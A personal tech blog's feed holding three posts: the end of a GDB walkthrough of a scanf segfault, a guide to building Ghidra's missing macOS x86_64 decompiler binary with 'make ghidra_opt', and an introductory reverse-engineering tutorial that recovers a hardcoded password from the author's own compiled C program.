  <li><strong><code class="language-plaintext highlighter-rouge">edx</code> = <code class="language-plaintext highlighter-rouge">0x22</code> = 34</strong> — the integer <code class="language-plaintext highlighter-rouge">scanf</code> parsed from my input. That’s the value it wants to store. Correct.</li>
  <li><strong><code class="language-plaintext highlighter-rouge">rax</code> = <code class="language-plaintext highlighter-rouge">0x2</code></strong> — the address it’s about to store <em>into</em>. <strong>That is not an address — it’s the value of <code class="language-plaintext highlighter-rouge">d</code>.</strong> I passed <code class="language-plaintext highlighter-rouge">d</code> (which was <code class="language-plaintext highlighter-rouge">2</code>), so the number <code class="language-plaintext highlighter-rouge">2</code> got used as a pointer.</li>
</ul>

<p>So <code class="language-plaintext highlighter-rouge">mov %edx,(%rax)</code> executes as:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>*(int *)0x2 = 34;     // write 34 to memory address 0x2
</code></pre></div></div>

<p>Address <code class="language-plaintext highlighter-rouge">0x2</code> is in the very bottom of the address space — not memory this process owns, not writable. The CPU raises a fault, the kernel kills the program, SIGSEGV. The crash isn’t about the number <code class="language-plaintext highlighter-rouge">34</code> being wrong; it’s that <strong>an <code class="language-plaintext highlighter-rouge">int</code> (<code class="language-plaintext highlighter-rouge">2</code>) got used where an address belonged</strong>, so <code class="language-plaintext highlighter-rouge">scanf</code> wrote through a garbage pointer.</p>

<p>To prove what the pointer <em>should</em> have been:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) print &amp;d
$1 = (int *) 0x7ffd85143...    # a real stack address, up near rbp/rsp — NOT 0x2
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">&amp;d</code> is a real stack address (right in the range of <code class="language-plaintext highlighter-rouge">rbp = 0x7ffd85143220</code> from the register dump). That’s what <code class="language-plaintext highlighter-rouge">rax</code> needed to hold. Instead it held <code class="language-plaintext highlighter-rouge">0x2</code>.</p>

<p>And this is <em>precisely</em> what gcc warned about back in step 2: <code class="language-plaintext highlighter-rouge">expects 'int *', but argument 2 has type 'int'</code>. The warning predicted the exact crash — <code class="language-plaintext highlighter-rouge">edx</code> into <code class="language-plaintext highlighter-rouge">(%rax)</code> where <code class="language-plaintext highlighter-rouge">rax</code> is an <code class="language-plaintext highlighter-rouge">int</code>, not a pointer.</p>

<hr />

<h2 id="5-the-one-character-fix">5. The one-character fix</h2>

<p>Give <code class="language-plaintext highlighter-rouge">scanf</code> the <strong>address</strong> of <code class="language-plaintext highlighter-rouge">d</code>, so it has a real place to write:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span> <span class="p">{</span>
  <span class="kt">int</span> <span class="n">d</span> <span class="o">=</span> <span class="mi">2</span><span class="p">;</span>
  <span class="n">printf</span><span class="p">(</span><span class="s">"Welcome to the Debugging programming!</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>

  <span class="n">scanf</span><span class="p">(</span><span class="s">"%d"</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">d</span><span class="p">);</span>                       <span class="c1">// &amp;d — the address, not the value</span>

  <span class="n">printf</span><span class="p">(</span><span class="s">"you gave number is : %d</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">d</span><span class="p">);</span>
  <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Recompile — no warning this time — and step through it in GDB again. Now <code class="language-plaintext highlighter-rouge">rsi</code> holds <code class="language-plaintext highlighter-rouge">&amp;d</code> (a real <code class="language-plaintext highlighter-rouge">0x7fff…</code> stack address), <code class="language-plaintext highlighter-rouge">scanf</code> writes the parsed number safely into <code class="language-plaintext highlighter-rouge">d</code>, and the program prints it back and exits <code class="language-plaintext highlighter-rouge">0</code>. No SIGSEGV. The <code class="language-plaintext highlighter-rouge">&amp;</code> is the entire difference between “here is a box to put the number in” and “here is the number 2, now go write to address 2.”</p>

<hr />

<h2 id="what-i-took-away">What I took away</h2>

<ol>
  <li><strong><code class="language-plaintext highlighter-rouge">scanf</code> needs addresses, <code class="language-plaintext highlighter-rouge">printf</code> needs values.</strong> <code class="language-plaintext highlighter-rouge">printf("%d", d)</code> is right because it only <em>reads</em> <code class="language-plaintext highlighter-rouge">d</code>. <code class="language-plaintext highlighter-rouge">scanf("%d", &amp;d)</code> needs the <code class="language-plaintext highlighter-rouge">&amp;</code> because it has to <em>write back</em> into <code class="language-plaintext highlighter-rouge">d</code> — and to write into a variable you must hand over where it lives, not what it currently holds. Forgetting the <code class="language-plaintext highlighter-rouge">&amp;</code> is the most common C beginner crash, and now I’ve seen exactly why.</li>
  <li><strong>Compiler warnings are predictions, not noise.</strong> <code class="language-plaintext highlighter-rouge">expects 'int *', but argument 2 has type 'int'</code> described the segfault before I ever ran the program. Compiling with warnings on (and reading them) would have caught this with zero debugging.</li>
  <li><strong>A SIGSEGV inside a library usually means <em>you</em> passed it garbage.</strong> The crash was in glibc’s <code class="language-plaintext highlighter-rouge">__vfscanf_internal</code>, not my code — but the cause was my bad pointer. When a fault lands deep in a library, walk back up to what you handed it.</li>
  <li><strong>GDB’s TUI makes the abstract concrete.</strong> <code class="language-plaintext highlighter-rouge">lay next</code> + <code class="language-plaintext highlighter-rouge">break main</code> + <code class="language-plaintext highlighter-rouge">run</code> + <code class="language-plaintext highlighter-rouge">next</code>, with the asm and register panes open, turned “a pointer is an address” from a sentence into something I watched happen: <code class="language-plaintext highlighter-rouge">mov %edx,(%rax)</code> with <code class="language-plaintext highlighter-rouge">rax = 0x2</code> and <code class="language-plaintext highlighter-rouge">edx = 34</code> — the parsed number being written through the <em>value</em> of <code class="language-plaintext highlighter-rouge">d</code> instead of its address. <code class="language-plaintext highlighter-rouge">refresh</code> (<code class="language-plaintext highlighter-rouge">Ctrl-L</code>) when the panes smear.</li>
</ol>

<p>Next I want to point this same workflow at a binary I <em>didn’t</em> write — set a breakpoint on <code class="language-plaintext highlighter-rouge">strcmp</code> in a CrackMe and read the password straight out of the registers as it’s compared, the dynamic-analysis counterpart to the static <code class="language-plaintext highlighter-rouge">strings</code> trick.</p>]]></content><author><name>திலீப் கோனா</name></author><category term="tech" /><summary type="html"><![CDATA[Now that I have a Linux container with the RE toolkit baked in, I wanted to actually watch a program misbehave instead of just reading its source. The best way to learn a debugger is to feed it a bug you already understand — so I wrote one on purpose.]]></summary></entry><entry><title type="html">Ghidra’s decompiler won’t load on my Intel Mac — building the one missing binary</title><link href="https://dilipgona.is-a.dev/ghidra-missing-decompile-binary.html" rel="alternate" type="text/html" title="Ghidra’s decompiler won’t load on my Intel Mac — building the one missing binary" /><published>2026-06-06T00:00:00+00:00</published><updated>2026-06-06T00:00:00+00:00</updated><id>https://dilipgona.is-a.dev/ghidra-missing-decompile-binary</id><content type="html" xml:base="https://dilipgona.is-a.dev/ghidra-missing-decompile-binary.html"><![CDATA[<p>I downloaded Ghidra 12.1.2, opened a CrackMe-style binary (<code class="language-plaintext highlighter-rouge">pass</code>, the spooky-pass challenge), clicked <code class="language-plaintext highlighter-rouge">main</code> in the Symbol Tree — and the Decompiler panel showed a red error instead of C code. The analyzer had run fine; it was specifically the <em>decompiler</em> that refused to come up.</p>

<p>This post is the trail of how I tracked it down, because the first fix I tried was wrong in an instructive way, and the real fix is a one-line build target that almost nobody documents.</p>

<hr />

<h2 id="1-the-symptom-a-missing-native-binary">1. The symptom: a missing native binary</h2>

<p>Ghidra is mostly Java, but the decompiler is a native C++ program that the Java side talks to over a pipe. It lives under the install at:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Ghidra/Features/Decompiler/os/&lt;platform&gt;/decompile
</code></pre></div></div>

<p>There’s one folder per platform. Mine looked like this:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>os/
├── linux_x86_64/   decompile  sleigh
├── mac_arm_64/     decompile  sleigh
├── mac_x86_64/                sleigh      ← decompile is MISSING
└── win_x86_64/     decompile  sleigh
</code></pre></div></div>

<p>Every platform shipped both <code class="language-plaintext highlighter-rouge">sleigh</code> (the disassembler) and <code class="language-plaintext highlighter-rouge">decompile</code> — <strong>except</strong> <code class="language-plaintext highlighter-rouge">mac_x86_64</code>, which only had <code class="language-plaintext highlighter-rouge">sleigh</code>. That’s the binary Ghidra was failing to launch.</p>

<p>The tempting shortcut: “<code class="language-plaintext highlighter-rouge">mac_arm_64</code> has a <code class="language-plaintext highlighter-rouge">decompile</code>, just copy that one over.” No. I’m on a <strong>real Intel Mac</strong> (<code class="language-plaintext highlighter-rouge">sysctl machdep.cpu.brand_string</code> → <code class="language-plaintext highlighter-rouge">Intel(R) Core(TM) i7-9750H</code>). An arm64 binary will not run on Intel — Rosetta translates the <em>other</em> direction (x86_64 on Apple Silicon), not arm64 on Intel. The arm copy is dead weight here. I need a genuine x86_64 <code class="language-plaintext highlighter-rouge">decompile</code>.</p>

<p>Good news: the prebuilt Ghidra ships its full C++ source + Makefile, and macOS already has <code class="language-plaintext highlighter-rouge">clang++</code>, <code class="language-plaintext highlighter-rouge">make</code>, <code class="language-plaintext highlighter-rouge">bison</code>, and <code class="language-plaintext highlighter-rouge">flex</code>. So I can compile the one missing binary myself, version-matched to the install.</p>

<hr />

<h2 id="2-the-wrong-fix-make-decompile">2. The wrong fix: <code class="language-plaintext highlighter-rouge">make decompile</code></h2>

<p>The obvious move is to <code class="language-plaintext highlighter-rouge">cd</code> into the C++ source and build:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>cd Ghidra/Features/Decompiler/src/decompile/cpp
make -j4            # or: make decompile
</code></pre></div></div>

<p>Both blow up immediately with the same error, repeated across several files:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>./loadimage_bfd.hh:37:10: fatal error: 'bfd.h' file not found
   37 | #include &lt;bfd.h&gt;
      |          ^~~~~~~
In file included from bfd_arch.cc:17:
In file included from codedata.cc:18:
In file included from analyzesigs.cc:17:
make: *** [com_dbg/depend] Error 1
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">bfd.h</code> is the <strong>Binary File Descriptor</strong> library header, part of GNU binutils. macOS doesn’t ship it. The natural next step everyone reaches for is <code class="language-plaintext highlighter-rouge">brew install binutils</code> and then wiring up include paths — and that’s a rabbit hole of version mismatches and linker flags.</p>

<p>It’s also completely unnecessary. The clue is <em>which</em> files need <code class="language-plaintext highlighter-rouge">bfd.h</code>: <code class="language-plaintext highlighter-rouge">loadimage_bfd</code>, <code class="language-plaintext highlighter-rouge">bfd_arch</code>, <code class="language-plaintext highlighter-rouge">analyzesigs</code>, <code class="language-plaintext highlighter-rouge">codedata</code>. Those belong to the <strong>standalone command-line decompiler</strong> — a separate program that loads ELF/Mach-O/PE files on its own using BFD. That’s not what Ghidra uses. Ghidra feeds bytes to the decompiler over a pipe; it never needs BFD at all.</p>

<hr />

<h2 id="3-reading-the-makefile-two-different-decompile-binaries">3. Reading the Makefile: two different “decompile” binaries</h2>

<p>The Makefile defines several object-file sets. The relevant two:</p>

<div class="language-make highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">COMMANDLINE_NAMES</span> <span class="o">=</span> <span class="nv">$(CORE)</span> <span class="nv">$(DECCORE)</span> <span class="nv">$(EXTRA)</span> <span class="nv">$(SLEIGH)</span> consolemain
<span class="nv">GHIDRA_NAMES</span>      <span class="o">=</span> <span class="nv">$(CORE)</span> <span class="nv">$(DECCORE)</span> <span class="nv">$(GHIDRA)</span>
</code></pre></div></div>

<ul>
  <li><code class="language-plaintext highlighter-rouge">COMMANDLINE_NAMES</code> → the <code class="language-plaintext highlighter-rouge">decomp_opt</code> / <code class="language-plaintext highlighter-rouge">decompile</code> target. Pulls in <code class="language-plaintext highlighter-rouge">$(EXTRA)</code>, which is where the BFD loaders live. <strong>Needs <code class="language-plaintext highlighter-rouge">bfd.h</code>.</strong></li>
  <li><code class="language-plaintext highlighter-rouge">GHIDRA_NAMES</code> → the <code class="language-plaintext highlighter-rouge">ghidra_opt</code> target. Uses <code class="language-plaintext highlighter-rouge">loadimage_ghidra</code> (the pipe loader) instead. <strong>No BFD anywhere.</strong></li>
</ul>

<p>And the binary that gets installed into <code class="language-plaintext highlighter-rouge">os/&lt;platform&gt;/decompile</code> is built by <code class="language-plaintext highlighter-rouge">ghidra_opt</code>, confirmed by the install rule:</p>

<div class="language-make highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nl">install_ghidraopt</span><span class="o">:</span> <span class="nf">ghidra_opt</span>
	<span class="nb">cp </span>ghidra_opt <span class="nv">$(GHIDRA_BIN)</span>/Ghidra/Features/Decompiler/os/<span class="nv">$(OSDIR)</span>/decompile
</code></pre></div></div>

<p>There’s even a guard that explains <em>why</em> <code class="language-plaintext highlighter-rouge">make decompile</code> tried to compile the BFD files at all. The Makefile picks which dependency-scan to run based on the goal you ask for:</p>

<div class="language-make highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">DEPNAMES</span> <span class="o">=</span> com_dbg/depend com_opt/depend     <span class="c"># default — scans the BFD sources</span>
<span class="k">ifeq</span> <span class="nv">($(MAKECMDGOALS),ghidra_opt)</span>
	<span class="nv">DEPNAMES</span> <span class="o">=</span> ghi_opt/depend                <span class="c"># ← BFD-free scan</span>
<span class="k">endif</span>
</code></pre></div></div>

<p>So with no explicit goal, <code class="language-plaintext highlighter-rouge">make</code> runs the command-line dependency scan, which <code class="language-plaintext highlighter-rouge">#include</code>s <code class="language-plaintext highlighter-rouge">bfd.h</code> just to <em>generate dependencies</em> — and dies before compiling a single real object. Ask for <code class="language-plaintext highlighter-rouge">ghidra_opt</code> and it switches to the BFD-free scan entirely. The error was never about my toolchain; it was about asking for the wrong target.</p>

<hr />

<h2 id="4-the-right-fix-make-ghidra_opt">4. The right fix: <code class="language-plaintext highlighter-rouge">make ghidra_opt</code></h2>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>cd Ghidra/Features/Decompiler/src/decompile/cpp
make ghidra_opt -j4
</code></pre></div></div>

<p>Builds clean — no <code class="language-plaintext highlighter-rouge">bfd.h</code>, no Homebrew, nothing. It compiles ~70 <code class="language-plaintext highlighter-rouge">.cc</code> files and links a single executable named <code class="language-plaintext highlighter-rouge">ghidra_opt</code>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ghidra_opt: Mach-O 64-bit executable x86_64
</code></pre></div></div>

<p>(Note it built x86_64 by default, because that’s what the machine reports. Exactly what I need.) Then drop it into the empty slot under the name Ghidra expects:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>cp ghidra_opt ../../../os/mac_x86_64/decompile
xattr -d com.apple.quarantine ../../../os/mac_x86_64/decompile   # clear Gatekeeper flag
chmod +x ../../../os/mac_x86_64/decompile
</code></pre></div></div>

<p>Quick sanity check that macOS doesn’t kill it on launch (Gatekeeper would show <code class="language-plaintext highlighter-rouge">Killed: 9</code>):</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>echo "" | ./decompile ; echo "exit=$?"
# exit=0   → launches and exits cleanly, not blocked
</code></pre></div></div>

<p>Restart Ghidra, reopen the project, click <code class="language-plaintext highlighter-rouge">main</code> — the Decompiler panel now renders C, <code class="language-plaintext highlighter-rouge">strcmp(input, "s3cr3t_p455_f0r_gh05t5_4nd_gh0ul5")</code> and all. Done.</p>

<hr />

<h2 id="what-id-tell-past-me">What I’d tell past-me</h2>

<p>Three things, in order of how much time each would have saved:</p>

<ol>
  <li><strong>Don’t copy the arm binary onto an Intel Mac.</strong> Check the <em>real</em> CPU with <code class="language-plaintext highlighter-rouge">sysctl machdep.cpu.brand_string</code>, not <code class="language-plaintext highlighter-rouge">uname -m</code> (which can lie under Rosetta). Wrong-arch binaries don’t error helpfully — they just refuse.</li>
  <li><strong><code class="language-plaintext highlighter-rouge">bfd.h not found</code> is not a “go install binutils” problem.</strong> It’s a “you asked for the wrong make target” problem. The file that needs it (<code class="language-plaintext highlighter-rouge">loadimage_bfd</code>) is for the <em>standalone</em> decompiler, which Ghidra never uses.</li>
  <li><strong>The target is <code class="language-plaintext highlighter-rouge">ghidra_opt</code>, not <code class="language-plaintext highlighter-rouge">decompile</code>.</strong> One word, and the whole BFD dependency vanishes because the Makefile switches to a different dependency scan for that goal.</li>
</ol>

<p>The deeper lesson is the same one I keep relearning: when a build fails on a missing header, read <em>which sources</em> pull it in before you start installing things. Half the time the header belongs to a component you don’t even want, and the fix is to stop building that component — not to satisfy it.</p>

<p>If I ever reinstall or upgrade Ghidra, this binary disappears again, so it’s worth keeping the two commands (<code class="language-plaintext highlighter-rouge">make ghidra_opt -j4</code> + the <code class="language-plaintext highlighter-rouge">cp</code>) somewhere I can find them. Like, say, this post.</p>]]></content><author><name>திலீப் கோனா</name></author><category term="tech" /><summary type="html"><![CDATA[I downloaded Ghidra 12.1.2, opened a CrackMe-style binary (pass, the spooky-pass challenge), clicked main in the Symbol Tree — and the Decompiler panel showed a red error instead of C code. The analyzer had run fine; it was specifically the decompiler that refused to come up.]]></summary></entry><entry><title type="html">Reverse engineering 101 — from a C password check to Ghidra’s decompiler</title><link href="https://dilipgona.is-a.dev/reverse-engineering-101-c-to-ghidra.html" rel="alternate" type="text/html" title="Reverse engineering 101 — from a C password check to Ghidra’s decompiler" /><published>2026-06-01T00:00:00+00:00</published><updated>2026-06-01T00:00:00+00:00</updated><id>https://dilipgona.is-a.dev/reverse-engineering-101-c-to-ghidra</id><content type="html" xml:base="https://dilipgona.is-a.dev/reverse-engineering-101-c-to-ghidra.html"><![CDATA[<p>I write backend code for a living, so I’m used to looking at programs from the <em>inside</em> — source first, binary as an afterthought. Reverse engineering flips that. You start with the compiled artifact and work backwards to figure out what it does, with no source in hand.</p>

<p>The fastest way I found to actually <em>get</em> it is to play both sides: write a tiny program myself, compile it, and then pretend I’ve never seen the source — open the binary in <a href="https://ghidra-sre.org/">Ghidra</a> and see how much of my own code I can recover. This post is that full loop, start to finish, on a program small enough to fit in your head.</p>

<p>(If you hit the “Decompiler panel won’t load” wall on an Intel Mac while following along, that’s its own rabbit hole — I wrote it up separately in <a href="/ghidra-missing-decompile-binary.html">building Ghidra’s missing decompiler binary</a>.)</p>

<hr />

<h2 id="1-the-target-a-password-check-in-c">1. The target: a password check in C</h2>

<p>Nothing fancy. A program that asks for a password and compares it against a hardcoded string:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;string.h&gt;</span><span class="cp">
</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span> <span class="p">{</span>
  <span class="kt">char</span> <span class="n">name</span><span class="p">[</span><span class="mi">64</span><span class="p">];</span>

  <span class="n">printf</span><span class="p">(</span><span class="s">"Enter your password: "</span><span class="p">);</span>

  <span class="k">if</span> <span class="p">(</span><span class="n">scanf</span><span class="p">(</span><span class="s">"%63s"</span><span class="p">,</span> <span class="n">name</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">fprintf</span><span class="p">(</span><span class="n">stderr</span><span class="p">,</span> <span class="s">"No input received.</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
    <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
  <span class="p">}</span>

  <span class="k">if</span> <span class="p">(</span><span class="n">strcmp</span><span class="p">(</span><span class="n">name</span><span class="p">,</span> <span class="s">"FuckingPasswordHey"</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"password was right</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
  <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"wrong password</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
  <span class="p">}</span>

  <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>The whole point of the exercise is that secret string. It’s hardcoded into the program — and as we’ll see, “hardcoded” means “sitting in plaintext in the binary for anyone with a decompiler to read.” That’s the lesson the rest of the post drives home.</p>

<hr />

<h2 id="2-compile-and-run-it-locally">2. Compile and run it locally</h2>

<p>I’m on macOS, so <code class="language-plaintext highlighter-rouge">clang</code> is already there (<code class="language-plaintext highlighter-rouge">gcc</code> works the same way on Linux). I keep the source as <code class="language-plaintext highlighter-rouge">pass.c</code> and drop the executable into a <code class="language-plaintext highlighter-rouge">build/</code> folder so the working directory stays clean:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>mkdir -p build
clang pass.c -o build/pass
</code></pre></div></div>

<p>No flags, no optimisation — the plain default build. Run it:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ ./build/pass
Enter your password: hello
wrong password

$ ./build/pass
Enter your password: FuckingPasswordHey
password was right
</code></pre></div></div>

<p>Works exactly as written. Now the fun part: forget the source exists. We have <code class="language-plaintext highlighter-rouge">build/pass</code> and a question — <em>what’s the password?</em></p>

<hr />

<h2 id="3-import-the-binary-into-ghidra">3. Import the binary into Ghidra</h2>

<ol>
  <li>Launch Ghidra and create a new project (<code class="language-plaintext highlighter-rouge">File → New Project → Non-Shared Project</code>).</li>
  <li>Drag <code class="language-plaintext highlighter-rouge">build/pass</code> into the project window, or <code class="language-plaintext highlighter-rouge">File → Import File</code>. Ghidra reads the header and identifies it — on my Mac it shows up as a <strong>Mach-O</strong> <code class="language-plaintext highlighter-rouge">x86_64</code> executable (on Linux you’d see ELF).</li>
  <li>Double-click the imported file to open it in the <strong>CodeBrowser</strong>.</li>
  <li>It pops up <em>“… has not been analyzed. Would you like to analyze it now?”</em> — say <strong>Yes</strong> and accept the default analyzers. This is where Ghidra disassembles every function, follows the call graph, recovers strings, and matches library signatures.</li>
</ol>

<p>When analysis finishes, find the entry point. Open the <strong>Symbol Tree</strong> on the left, expand <strong>Functions</strong>, and click <code class="language-plaintext highlighter-rouge">main</code> (a stripped binary may only show <code class="language-plaintext highlighter-rouge">entry</code> — same idea, follow it down). The center pane fills with assembly; the right pane is the <strong>Decompiler</strong>.</p>

<hr />

<h2 id="4-reading-the-assembly">4. Reading the assembly</h2>

<p>The disassembly listing is the literal x86_64 instructions Ghidra recovered. You don’t need to read all of it, but a few landmarks tell the whole story even before you look at the C:</p>

<ul>
  <li>A <code class="language-plaintext highlighter-rouge">LEA</code> loading the address of the <code class="language-plaintext highlighter-rouge">"Enter your password: "</code> string, followed by a <code class="language-plaintext highlighter-rouge">CALL</code> to <code class="language-plaintext highlighter-rouge">printf</code>.</li>
  <li>A <code class="language-plaintext highlighter-rouge">CALL</code> to <code class="language-plaintext highlighter-rouge">scanf</code> with the <code class="language-plaintext highlighter-rouge">"%63s"</code> format string.</li>
  <li>A <code class="language-plaintext highlighter-rouge">LEA</code> pointing at a string that says <strong><code class="language-plaintext highlighter-rouge">FuckingPasswordHey</code></strong>, then a <code class="language-plaintext highlighter-rouge">CALL strcmp</code>.</li>
  <li>A <code class="language-plaintext highlighter-rouge">TEST</code>/<code class="language-plaintext highlighter-rouge">JNZ</code> on the result that branches to either the <code class="language-plaintext highlighter-rouge">"password was right"</code> or <code class="language-plaintext highlighter-rouge">"wrong password"</code> <code class="language-plaintext highlighter-rouge">printf</code>.</li>
</ul>

<p>That third bullet is the whole game. The secret never gets hashed or obfuscated — <code class="language-plaintext highlighter-rouge">strcmp</code> needs the real bytes to compare against, so the plaintext password sits right there in the binary’s read-only data, and Ghidra labels the cross-reference for you. You can also jump straight to it via <strong>Window → Defined Strings</strong>, which lists every string the analyzer found.</p>

<hr />

<h2 id="5-the-decompiler--assembly-back-into-c">5. The Decompiler — assembly back into C</h2>

<p>This is the payoff. With <code class="language-plaintext highlighter-rouge">main</code>/<code class="language-plaintext highlighter-rouge">entry</code> selected, the Decompiler pane reconstructs C-like pseudocode from the assembly:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">undefined4</span> <span class="nf">entry</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
<span class="p">{</span>
  <span class="kt">int</span> <span class="n">iVar1</span><span class="p">;</span>
  <span class="n">undefined4</span> <span class="n">local_5c</span><span class="p">;</span>
  <span class="kt">char</span> <span class="n">local_58</span> <span class="p">[</span><span class="mi">72</span><span class="p">];</span>
  <span class="kt">long</span> <span class="n">local_10</span><span class="p">;</span>

  <span class="n">local_10</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="kt">long</span> <span class="o">*</span><span class="p">)</span><span class="n">PTR____stack_chk_guard_100001008</span><span class="p">;</span>
  <span class="n">_printf</span><span class="p">(</span><span class="s">"Enter your password: "</span><span class="p">);</span>
  <span class="n">iVar1</span> <span class="o">=</span> <span class="n">_scanf</span><span class="p">(</span><span class="s">"%63s"</span><span class="p">,</span><span class="n">local_58</span><span class="p">);</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">iVar1</span> <span class="o">==</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">iVar1</span> <span class="o">=</span> <span class="n">_strcmp</span><span class="p">(</span><span class="n">local_58</span><span class="p">,</span><span class="s">"FuckingPasswordHey"</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">iVar1</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
      <span class="n">_printf</span><span class="p">(</span><span class="s">"password was right</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
    <span class="p">}</span>
    <span class="k">else</span> <span class="p">{</span>
      <span class="n">_printf</span><span class="p">(</span><span class="s">"wrong password</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
    <span class="p">}</span>
    <span class="n">local_5c</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
  <span class="p">}</span>
  <span class="k">else</span> <span class="p">{</span>
    <span class="n">_fprintf</span><span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="kt">FILE</span> <span class="o">**</span><span class="p">)</span><span class="n">PTR____stderrp_100001010</span><span class="p">,</span><span class="s">"No input received.</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
    <span class="n">local_5c</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
  <span class="p">}</span>
  <span class="k">if</span> <span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="kt">long</span> <span class="o">*</span><span class="p">)</span><span class="n">PTR____stack_chk_guard_100001008</span> <span class="o">==</span> <span class="n">local_10</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">return</span> <span class="n">local_5c</span><span class="p">;</span>
  <span class="p">}</span>
                    <span class="cm">/* WARNING: Subroutine does not return */</span>
  <span class="n">___stack_chk_fail</span><span class="p">();</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Put the original source next to this and the mapping is almost one-to-one. Worth noticing how the names change, because that’s the texture of real RE work:</p>

<ul>
  <li><strong><code class="language-plaintext highlighter-rouge">local_58</code> is my <code class="language-plaintext highlighter-rouge">name[64]</code>.</strong> Ghidra has no variable names from a compiled binary, so it invents them from stack offsets. It also sizes the buffer as <code class="language-plaintext highlighter-rouge">[72]</code>, not <code class="language-plaintext highlighter-rouge">[64]</code> — the extra bytes are stack alignment padding the compiler added, not something I wrote.</li>
  <li><strong><code class="language-plaintext highlighter-rouge">local_5c</code> is the return value</strong> — <code class="language-plaintext highlighter-rouge">0</code> on the success path, <code class="language-plaintext highlighter-rouge">1</code> on the no-input path, exactly matching <code class="language-plaintext highlighter-rouge">return 0;</code> / <code class="language-plaintext highlighter-rouge">return 1;</code>.</li>
  <li><strong><code class="language-plaintext highlighter-rouge">__stack_chk_guard</code> / <code class="language-plaintext highlighter-rouge">__stack_chk_fail</code> are not mine at all.</strong> The compiler inserted a <em>stack canary</em>: it stashes a guard value, and before returning it checks the value is untouched. If a buffer overflow smashed the stack, the check fails and the program aborts instead of returning to attacker-controlled code. That’s why there’s a comparison wrapped around the <code class="language-plaintext highlighter-rouge">return</code> and a <code class="language-plaintext highlighter-rouge">WARNING: Subroutine does not return</code> on <code class="language-plaintext highlighter-rouge">__stack_chk_fail</code>. Reading decompiled output means learning to tell <em>your</em> logic apart from <em>the compiler’s</em> boilerplate.</li>
  <li><strong>The string survived perfectly.</strong> <code class="language-plaintext highlighter-rouge">_strcmp(local_58, "FuckingPasswordHey")</code> — there it is, in plaintext, no source required. We answered “what’s the password?” purely from the binary.</li>
</ul>

<hr />

<h2 id="what-i-took-away-from-the-loop">What I took away from the loop</h2>

<p>A few things clicked that no amount of just <em>reading about</em> RE had done:</p>

<ol>
  <li><strong>Hardcoded secrets are not secret.</strong> A string compared with <code class="language-plaintext highlighter-rouge">strcmp</code> lives in the binary as plaintext. If something must stay private, it can’t be a literal in the program — it has to be hashed, or never shipped to the client at all. Seeing my own password fall out of the decompiler in thirty seconds made that visceral.</li>
  <li><strong>The decompiler is a <em>reconstruction</em>, not the original.</strong> Variable names are gone, types are guessed (<code class="language-plaintext highlighter-rouge">undefined4</code>), buffer sizes include padding, and compiler-inserted machinery (stack canaries, alignment) shows up as if I’d written it. Half the skill is separating my logic from the compiler’s.</li>
  <li><strong>Build it yourself first.</strong> Compiling a program you wrote and then reversing it gives you an answer key. You can check every guess against the source, which is how the assembly mnemonics and Ghidra’s conventions stop being noise and start being readable.</li>
</ol>

